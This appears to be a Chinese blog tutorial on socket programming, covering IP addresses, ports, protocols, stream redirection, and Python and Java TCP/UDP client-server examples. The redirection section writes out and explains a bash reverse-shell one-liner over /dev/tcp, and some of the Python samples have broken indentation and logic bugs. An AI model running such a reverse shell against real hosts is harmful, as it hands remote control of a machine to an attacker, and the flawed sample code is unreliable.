socket网络编程

网络如何连接

IP地址

如何精准找到另外一台计算机呢?想要实现通信首先要找到目的计算机,类似我们的快递,必须有收件人的地址才能送到,我们通过ip地址来定位一台机器

目前广泛使用的是ipv4地址,使用32位(4字节)的地址,如:192.168.0.1,如果能使用ip地址标识每一台计算机,就像身份证一样,我们就能很容易定位了,ipv4地址有2^32=4294967296个,已经用完,目前正在向ipv6(2128[约3.4×1038])地址过渡(号称可以为地球上每一粒沙子分配IP)

不同国家地区的ip地址段

在这里插入图片描述

中国地址段

在这里插入图片描述

详细信息,每一个IP都不是随意划分的,类似邮编区号,ip地址定位的原理也是如此,即使重新分配,大段一般也不会变的

在这里插入图片描述

端口

我们的计算机上通常运行着许多服务,对应着不同的进程

在这里插入图片描述

我们如何将请求交给对应的程序处理呢?就是获取对应的进程id,但是直接获取进程id并不方便,而且会经常变化等…为了解决这一问题,提供了一个中间层,就是端口的概念,让服务端的程序通过监听端口来处理客户端的请求,这样问题就解决了

socket

有了端口,系统为我们提供了socket接口,使用源ip+源端口+目的ip+目的端口的四个信息就可以实现不同计算机端口间通信的功能

我们实现一个socket连接,它是client/server模式的

server.py:在本机6666端口监听,定义一个dict用于返回数据

import socket
language = {"what is your name?":"I am Tom","how old are you":"25","bye":"bye"}
HOST = "127.0.0.1"
PORT = 6666
# AF_INET 代表使用ipv4地址家族 SOCK_STREAM 代表使用 TCP 协议
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
# 将创建的socket绑定到本机的6666端口
# 127.0.0.1只适用于本机的各个网卡通信 而0.0.0.0可以接受所有IP的访问相当于一个占位符
s.bind((HOST,PORT))
s.listen(1)
print("listening at 6666")
# 接收任意客户端连接并保存ip地址
conn,addr = s.accept()
print("Connect by:",addr)
while True:
    # 接收传输的数据 一次小于1024个字节
    data = conn.recv(1024)
    data = data.decode()
    if not data:
				break
		print("Received message:",data) 
    # 获取键data对应的值并返回 为空则返回 Nothing
    conn.sendall(language.get(data,'Nothing').encode())
conn.close()
s.close()

在这里插入图片描述

client.py:向server端发送信息并接收返回数据

#coding:utf-8
import socket,sys
HOST = "127.0.0.1"
PORT = 6666
# 连接到目标ip端口
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
		s.connect((HOST,PORT))
except Exception as e:
    print("server not found")
    sys.exit()
while True:
    # 接收键盘输入并发送了。
    c = input("you say:")
    s.sendall(c.encode())
    # 接收返回并打印
    data = s.recv(1024)
    data = data.decode()
    print('Recevied:',data)
    if c.lower == "再见":
   	   break
    s.close()

在这里插入图片描述

协议

协议就是双方约定的数据格式,比如我懂中文才能写出这篇文章(不要说翻译器,翻译器也要懂中文才能翻译),而只有懂中文的才能看懂,重点是双方都能懂的,又比如文件头,定义不同的文件头告诉操作系统使用什么软件来解析文件,毕竟数据对计算机来说都是01串

计算机与网络设备要相互通信,双方就必须基于相同的方法。比如,如何探测到通信目标、由哪一边先发起通信、使用哪种语言进行通信、怎样结束通信等规则都需要事先确定。不同的硬件、操作系统之间的通信,所有的这一切都需要一种规则。而我们就把这种规则称为协议

TCP/IP 是互联网相关的各类协议簇的总称,比如:TCP,UDP,IP,FTP,HTTP,ICMP,SMTP 等都属于 TCP/IP 族内的协议

​ ————摘自知乎

在这里插入图片描述

我们最常听到的就是tcpudp两种协议,它们都是传输层的协议,一个端口只能同时运行一个tcp服务,但是可以同时运行一个tcp服务,一个udp服务,这也是找到进程的一个参数

在这里插入图片描述

netstat -ano:查看本机开放端口,有TCPUDP两种协议

在这里插入图片描述

我们之前的程序监听的6666端口

在这里插入图片描述

数据处理流程如下:

在这里插入图片描述

流与管道

经常接触的两个概念,流,顾名思义,就像水流一样,从一端流向另一端,它分为输入流和输出流

输入流(标准输入):从键盘或文件中读取内容到内存中

输出流(标准输出):从内存中把数据写入文件或显示到显示器上

管道:管道是流的容器,它是对流进行处理的一种方式,| 即管道符

command1 | command2 | command3 … # 顺序执行命令

netstat -tnlp | grep:80 # 对结果进行过滤

重定向

linux中数据流有三种:

文件描述符设备文件说明
0/dev/stdin标准输入
1/dev/stdout标准输出
2/dev/stderr标准错误

可以通过重定向技术,将流重定向到其他位置,比较常用的语句就是反弹shell的命令

bash -i >& /dev/tcp/ip/port 0>&1

bash -i表示在本地打开一个bash,/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>& /dev/tcp/ip/port表示将标准输出和标准错误输出重定向到这个文件上,即传递给远程监听的主机端口,攻击机开启监听就会接收到这个bash的标准输出和标准错误输出,0>&1表示将标准输入重定向到标准输出,此时标准输出已重定向到/dev/tcp/ip/port这个文件,也就是远程主机,标准输入也就重定向到了远程主机,所以可以直接在远程主机中输入命令,目标主机也会执行对应命令,将标准输出返回到攻击机,就是一个常见的shell的原理

例子

java tcp 文件传输

创建socket连接,通过IO流读取写入传输文件 网络编程-狂神

server.java

public class server {
    public static void main(String[] args) throws Exception{
        //1.创建服务,本地监听9000端口
        ServerSocket serverSocket = new ServerSocket(9000);
        //2.监听客户端连接
        Socket socket = serverSocket.accept();  //阻塞式监听,会一直等待客户端连接
        //3.获取输入流,即客户端传递的数据
        InputStream is = socket.getInputStream();
        //4.文件输出,将客户端上传数据保存到本地
        FileOutputStream fos = new FileOutputStream(new File("server.jpg"));
        byte[] buffer = new byte[1024];
        int len;
        while ((len= is.read(buffer))!=-1){
            fos.write(buffer,0,len);
        }
        // 通知客户端接收完毕
        OutputStream os = socket.getOutputStream();
        os.write("接收完毕,可以断开".getBytes());
        // 关闭资源
        fos.close();
        is.close();
        socket.close();
        serverSocket.close();
    }
}

client.java

public class client {
    public static void main(String[] args) throws Exception {
        //1.创建一个socket连接,连接服务器
        Socket socket = new Socket(InetAddress.getByName("127.0.0.1"),9000);
        //2.创建一个输出流,用于传递本机文件
        OutputStream os = socket.getOutputStream();
        //3.读取文件
        FileInputStream fis = new FileInputStream(new File("client.jpg"));
        //4.将文件写入到流
        byte[] buffer = new byte[1024];
        int len;
        while ((len=fis.read(buffer))!=-1){
            os.write(buffer,0,len);
        }
        // 通知服务器,文件写入完毕
        socket.shutdownOutput();
        // 确定服务器接收完毕,断开连接
        InputStream inputStream = socket.getInputStream();
        // 将服务端返回的提示信息以同样的方法输出
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte[] buffer2 = new byte[2048];
        int len2;
        while ((len2=inputStream.read(buffer2))!=-1){
            baos.write(buffer2,0,len2);
        }
        System.out.println(baos.toString());
        //5.关闭资源
        baos.close();
        inputStream.close();
        fis.close();
        os.close();
        socket.close();
    }
}

java udp 多线程聊天室

TalkSend.java

// 使用多线程需要继承 Runnable 接口
public class TalkSend implements Runnable{
    DatagramSocket socket = null;
    BufferedReader reader = null;
	// 定义源端口+目的IP+目的端口
    private int fromPort;
    private final String toIP;
    private final int toPort;

    public TalkSend(int fromPort, String toIP, int toPort){
        this.fromPort = fromPort;
        this.toIP = toIP;
        this.toPort = toPort;

        try {
            // 创建一个 socket udp 会话,用来发送接收数据包,本地监听端口用于接收返回数据
            socket = new DatagramSocket(fromPort);
            // 从控制台读取输入
            reader = new BufferedReader(new InputStreamReader(System.in));
        } catch (SocketException e) {
            throw new RuntimeException(e);
        }
    }


    @Override
    public void run() {
        while (true){
            try {
                // 控制台读取输入
                String data = reader.readLine();
                byte[] datas = data.getBytes();
                // 封装包
                DatagramPacket packet = new DatagramPacket(datas,0,datas.length,new InetSocketAddress(this.toIP,this.toPort));
                // 发送包
                socket.send(packet);
                // 结束条件
                if (data.startsWith("bye")){
                    break;
                }
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }
        //socket.close();
    }
}

TalkReceive.java

public class TalkReceive implements Runnable{
    DatagramSocket socket = null;
    private int port;
    private final String msgFrom;

    public TalkReceive(int port,String msgFrom){
        this.port = port;
        this.msgFrom = msgFrom;
        try {
            socket = new DatagramSocket(port);
        } catch (SocketException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void run() {
        while (true){
            try {
                // 准备接收包裹
                byte[] container = new byte[1024];
                DatagramPacket packet = new DatagramPacket(container,0,container.length);
                socket.receive(packet);
                byte[] data = packet.getData();
                // 数据删除空格
                String receiveData = new String(data, 0,data.length).trim();
                System.out.println(msgFrom+": "+receiveData);
                if (receiveData.equals("bye")){
                    break;
                }
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        socket.close();
    }
}

TalkTeacher.java

public class TalkTeacher {
    public static void main(String[] args) {
        // 分别创建接收和发送线程
        new Thread(new TalkSend(5555,"localhost",8888)).start();
        new Thread(new TalkReceive(9999,"学生")).start();
    }
}

TalkStudent.java

public class TalkStudent {
    public static void main(String[] args) {
        // 分别创建接收和发送线程
        new Thread(new TalkSend(7777,"localhost",9999)).start();
        new Thread(new TalkReceive(8888,"老师")).start();
    }
}

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值